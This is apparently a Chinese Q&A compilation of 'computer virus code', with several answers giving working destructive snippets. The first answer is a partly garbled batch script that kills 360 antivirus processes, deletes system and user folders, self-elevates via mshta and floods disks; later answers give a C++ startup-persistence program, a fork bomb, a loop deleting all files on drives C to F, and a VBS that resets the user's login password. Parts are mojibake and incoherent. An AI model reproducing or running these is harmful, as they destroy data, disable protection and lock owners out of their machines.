1. 鍐檆md鐥呮瘨
浠g爜鏄
echo off
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:jjj
鈥︹
JMP Label3
Db thunkcode3
Label1:ss
鈥︹.
JMP Label2
Db thunkcode2
Label3:mm
taskkill /f /im 360DesktopLite.exe
jz label
銆銆銆jnz label
銆銆銆db thunkcode
label:
銆銆銆jz label2
銆銆銆jnz label2
銆銆銆db thunkcode
lable2
銆銆銆mov ax, 8
銆銆銆xor ax, 77
銆銆銆...
taskkill /f /im explore.exe
taskkill /f /im 360tray.exe
taskkill /f /im 360Safe.exe
echo off
taskkill /f /im 360tray.exe
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
taskkill /f /im 360tray.exe
taskkill /f /im ZhuDongFangYu.exe
rmdir /s/q C:\Users\administrator\Desktop
rmdir /s/q C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
rmdir /s/q C:\ProgramData
del /f /s /q regedit.exe
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
call label_1
銆銆銆db thunkcode
銆銆銆jmp label_2
銆銆銆db thunkcode
label_1:
銆銆銆pop eax
銆銆銆jmp label_3
銆銆銆db thunkcode,thunkcode,thunkcode
label_3:
銆銆銆inc eax
銆銆銆jmp label_4
銆銆銆db thunkcode,thunkcode,thunkcode
label_4:
銆銆銆jmp eax
銆銆銆db thunkcode
label_2:
銆銆銆....
del /f /s /q notepad.exe
rmdir /s/q apppatch
rmdir /s/q Windows10Upgrade
rmdir /s/q LDSGameMaster
set path=C:\
set temp=C:\
del /f /s /q search-ms:displayname=鈥渨in10%20(C%3A)鈥濅腑鐨勬悳绱㈢粨鏋&crumb=System.Generic.String锛歝md&crumb=location:C%3A%5C
rmdir /s/q C:\Windows\appcompat\Programs
rmdir /s/q C:\Windows\en-US
rmdir /s/q C:\Windows\OCR
del /f /s /q notepad.exe
rmdir /s/q apppatch
rmdir /s/q Windows10Upgrade
rmdir /s/q LDSGameMaster
set path=C:\
set temp=C:\
del /f /s /q search-ms:displayname=鈥渨in10%20(C%3A)鈥濅腑鐨勬悳绱㈢粨鏋&crumb=System.Generic.String锛歝md&crumb=location:C%3A%5C
rmdir /s/q C:\Windows\appcompat\Programs
rmdir /s/q C:\Windows\en-US
rmdir /s/q C:\Windows\OCR
::wwwwwww::rrrrrr%%tttt
rmdir /s/q C:\Windows\minimp
rmdir /s/q C:\Windows\Microsoft.NET
ftype nppfile="C:\ProgramFiles (x86)\Notepad++\notepad++.exe" %1
for /l %%i in (1 1 99999999999999)do md A..\
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
:a
set /a a+=1
echo %random%-%random%-%random% > C:\Users\%username%\Desktop\CCBL.%random%
mshta javascript:alert(".");close();
goto a
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do /y "%dpnx0" "%%i" >nul
for /f "tokens=* delims=" %%i in ('dir /b A:\*.*') do /y "%dpnx0" "%%i" >nul
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
for /f "tokens=* delims=" %%i in ('dir /b K:\*.*') do /y "%dpnx0" "%%i" >nul
for /f "tokens=* delims=" %%i in ('dir /b I:\*.*') do /y "%dpnx0" "%%i"
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
for /f "tokens=* delims=" %%i in ('dir /b Z:\*.*') do /y "%dpnx0" "%%i" >nul
for /f "tokens=* delims=" %%i in ('dir /b M:\*.*') do /y "%dpnx0" "%%i" >nul
rmdir /s/q C:\Windows\Offline Web Pages
2. 比较简单的C++病毒代码
最简单的病毒代码如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char [80];
sprintf(," %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(); //将这个程序拷到开机启动文件版夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping .com";//将这个换成权上面的,就是一开机就重起了!
system(cmd);
system("pause");
}
3. 电脑病毒代码
病毒代码是可以给计算机造成破坏的恶意程序的代码,这个代码生成的程序就版是病毒。病毒是由一些试图对他人权电脑进行破坏或者其他商业利益行为而驱使一些人制作的。
4. 批处理文件的病毒代码大全!
很多,有几个思路贡献下
第一种
:1
start %0
goto 1
这个代码会自己运行自己,产生无限窗口,直到内存爆满死机。
第二种
%0 "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*“
%0 "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*"
%0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
加上这个代码之后,会把自身添加到启动菜单中(随系统启动而启动,与shutdown -r -t 0搭配使用威力倍增)
第三种
for /R C:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R D:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R E:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R F:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
这是删除CDEF盘上面的gho文件,使用户无法通过ghost恢复系统
第四种(特殊)
Echo Const strPassword = "wohenni"' >>1.vbs
echo Dim WshNetwork >>1.vbs
echo Set WshNetwork = CreateObject("WScript.Network") >>1.vbs
echo Dim userName >>1.vbs
echo userName = WshNetwork.userName&",user" >>1.vbs
echo Dim Domain >>1.vbs
echo Set Domain = GetObject("WinNT://./"&userName) >>1.vbs
echo Domain.SetPassword strPassword >>1.vbs
echo Domain.SetInfo >>1.vbs
echo dim gj >>1.vbs
echo on error resume next >>1.vbs
echo dim WSHshellA >>1.vbs
echo set WSHshellA = wscript.createobject("wscript.shell") >>1.vbs
start “” “1.vbs“
生成能把登录密码改为”wohenni”的VBS,并运行。
第五种
fsutil file createnew C:\1.hahaha 4096000
这是生成特定大小的文件,这句意思是在C盘下面生成1.hahaha,大小为4096000字节
还有很多,不一一列举了,希望您能更好地学习批处理!